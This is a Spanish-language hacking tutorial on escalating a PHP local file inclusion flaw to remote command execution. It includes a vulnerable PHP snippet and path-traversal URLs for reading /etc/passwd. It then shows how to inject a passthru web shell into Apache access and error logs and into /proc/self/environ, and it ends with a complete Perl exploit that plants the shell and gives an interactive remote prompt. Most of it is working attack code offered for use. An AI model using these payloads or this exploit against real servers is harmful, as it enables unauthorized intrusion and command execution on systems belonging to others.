#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#
+ Remote Command Execution 'through' Local File Inclusion +
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#
Author: JosS
twitter: @JossGongora
since 2003
~~ spanish paper
Este documento trata sobre el metodo practico de como ejecutar comandos
remotos en el servidor vulnerable a LFI inyectando codigo PHP al archivo
log del servidor web.
[shell]:~$ cat /tmp/.h0/RCE_LFI
PoC! codigo vulnerable:
[code]-----------------------------------------------------
<?php
$file =$_GET['page'];
include($file);
?>
[End code]-------------------------------------------------
PoC! leer archivos del servidor:
[URL] http://www.hack0wn.com/vuln.php?page=[file]%00
[URL,ex] http://www.hack0wn.com/vuln.php?page=../../../../../../etc/passwd
Hay muchas variantes de LFI dependiendo de la programacion, talvez
las mas complicadas sean las vulneradas por las COOKIES, pero que
tampoco tienen ninguna dificultad. Para mas informacion visiten
mi perfil de milw0rm o exploit-db.
ID_AUTHOR milw0rm: 1248
http://www.exploit-db.com/search/?action=search&filter_author=joss
Cookie p0c Exploit eXample:
javascript:document.cookie = "h0=../../../../etc/passwd%00; path=/";
%00 = NULL byte;
En los servidores webs hay archivos encargados de guardar las
peticiones HTTP realizadas a las webs alojadas en el servidor,
tambien conocidos como archivos de logs.
~~~~ lista por defecto de sus posibles localizaciones: ~~~~
[access && error].log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
-----> ACCESS.LOG
Pues bien, nuestra mision es encontrar el path del archivo encargado
de guardar los logs de las peticiones HTTP e insertar nuestro codigo
malicioso (PHP) en este archivo.
Para encontrar el path+archivo debemos comprobar uno a uno los valores
de 'localizacion por defecto' (mostrados arriba) hasta dar con una
respuesta coherente del sistema que nos afirme que hemos dado con el
correcto.
Nuestro codigo malicioso nos permitira introducir comandos mediante
GET que el servidor procesara y devolvera la respuesta mediante una
impresion web.
<? passthru($_GET[cmd]) ?>
Sabemos que 'access.log' guarda las peticiones HTTP y tambien tenemos
el codigo que nos permitira insertar comandos en el servidor, por lo
tanto debemos hacer una consulta con nuestro codigo para que se guarde
en 'access.log'.
Muchos estareis pensando hacer esto:
http://www.hack0wn.com/1/<? passthru($_GET[cmd]) ?>
Pero esto no funcionara porque el navegador codifica automaticamente
los caracteres especiales (URL enconde).
[Logfiles - access.log]------------------------------------------
....
127.0.0.1 - - [28/Dec/2008:23:02:06 +0100]
"GET /1/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 404 298
....
[End log]--------------------------------------------------------
Por lo que debemos mandar nuestra puerta de entrada (codigo) mediante
telnet.
joss@h4x0rz:~$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /1/<? passthru($_GET[cmd]) ?> HTTP/1.1
[Logfiles - access.log]------------------------------------------
....
127.0.0.1 - - [28/Dec/2008:23:35:16 +0100]
"GET /1/<? passthru($_GET[cmd]) ?> HTTP/1.1" 404 325 "-" "-"
....
[End log]--------------------------------------------------------
Debo recalcar que '/1/' es una carpeta existente dentro del directorio
raiz de hack0wn.com ... es decir para que el ataque mediante 'access.log'
se realice con exito la peticion HTTP debe inyectarse a un directorio
existente. Despues veremos como con 'error.log' es todo lo contrario.
Ya tenemos nuestro backdoor (por llamarlo de algun modo) instalado.
Y ya solo nos queda picar el comando por la variable GET 'cmd':
[URL] /vuln.php?page=[file_logs]&cmd=[comando]
[URL,ex] /vuln.php?page=../../../../../var/log/apache2/access.log&cmd=id
Y ::. attack successfull .::
;)
-----> ERROR.LOG
Lo hemos hecho con 'access.log', pero si nos fijamos en la lista por
defecto de las localizaciones existe un archivo 'error.log' que nos
permite hacer lo mismo, a si que lo estudiaremos.
El archivo 'error.log' se escribe cuando el archivo de la peticion no
existe.
[URL] http://www.hack0wn.com/noexiste.php
[Logfiles - error.log]------------------------------------------
....
[Mon Dec 29 00:41:55 2008] [error] [client 127.0.0.1] script
'/home/joss/www/noexiste.php' not found or unable to stat
....
[End log]--------------------------------------------------------
Repetimos la tecnica de incluir el codigo malicioso mediante telnet,
pero esta vez tendremos que hacer la petion a un archivo que no exista
(GET vacio).
joss@h4x0rz:~$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET <? passthru($_GET[cmd]) ?>
[Logfiles - error.log]------------------------------------------
....
[Mon Dec 29 00:46:29 2008] [error] [client 127.0.0.1]
Invalid URI in request GET <? passthru($_GET[cmd]) ?>
....
[End log]--------------------------------------------------------
Y tiramos la inyeccion:
[URL] /vuln.php?page=../../var/log/apache2/error.log&cmd=ls
-----> ENVIRON
Hay mas archivos que nos permiten realizar el ataque, como por
ejemplo '/proc/self/environ'. No entraremos en detalles, pero si
debeis saber que para inyectar el codigo malicioso en este archivo
lo debeis hacer por "USER-AGENT" ya sea con un scirpt o con algun
addon para firefox como el 'tamper data'.
[code]----------------------------------------------------------------------------------
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@.com
...
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300
...
[End code]------------------------------------------------------------------------------
Inyectando <?passthru($_GET[cmd])?> __via USER-AGENT__
[code]----------------------------------------------------------------------------------
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@.com
...
<?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300
...
[End code]------------------------------------------------------------------------------
[URL] /vuln.php?page=../../../../../proc/self/environ&cmd=ls -la
~~~~ EXPLOIT ~~~~
#!/usr/bin/perl
####################################################################
# RCE to LFI Exploit
#
# Author: JosS (@JossGongora)
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
# Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#
use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;
@apache=(
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
if (@ARGV < 2)
{
print "Usage: ./xpl.pl <Host> <Path>\n";
print "Ex. ./xpl.pl www.hack0wn.com /h0/index.php?page=\n";
}
$host=$ARGV[0];
$path=$ARGV[1];
# if ( $host =~ /^http:/ ) {$host =~ s/http:\/\///g;}
print "\nTrying to Inject the Code...\n";
$CODE="<? passthru(\$_GET[cmd]) ?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /1/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1"; # change if it is necesary '/1'
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
if ( $host !~ /^http:/ ) {$host = "http://" . $host;}
foreach $getlog(@apache)
{
chomp($getlog);
$find= $host.$path.$getlog; # $find= $host.$path.$getlog."%00";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $find);
$res = $xpl->request($req);
$info = $res->content;
if($info =~ /passthru()/) # change if it is necesary
{print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
}
print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );
while($cmd !~ "exit") {
$shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."%00&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );
}
__h0__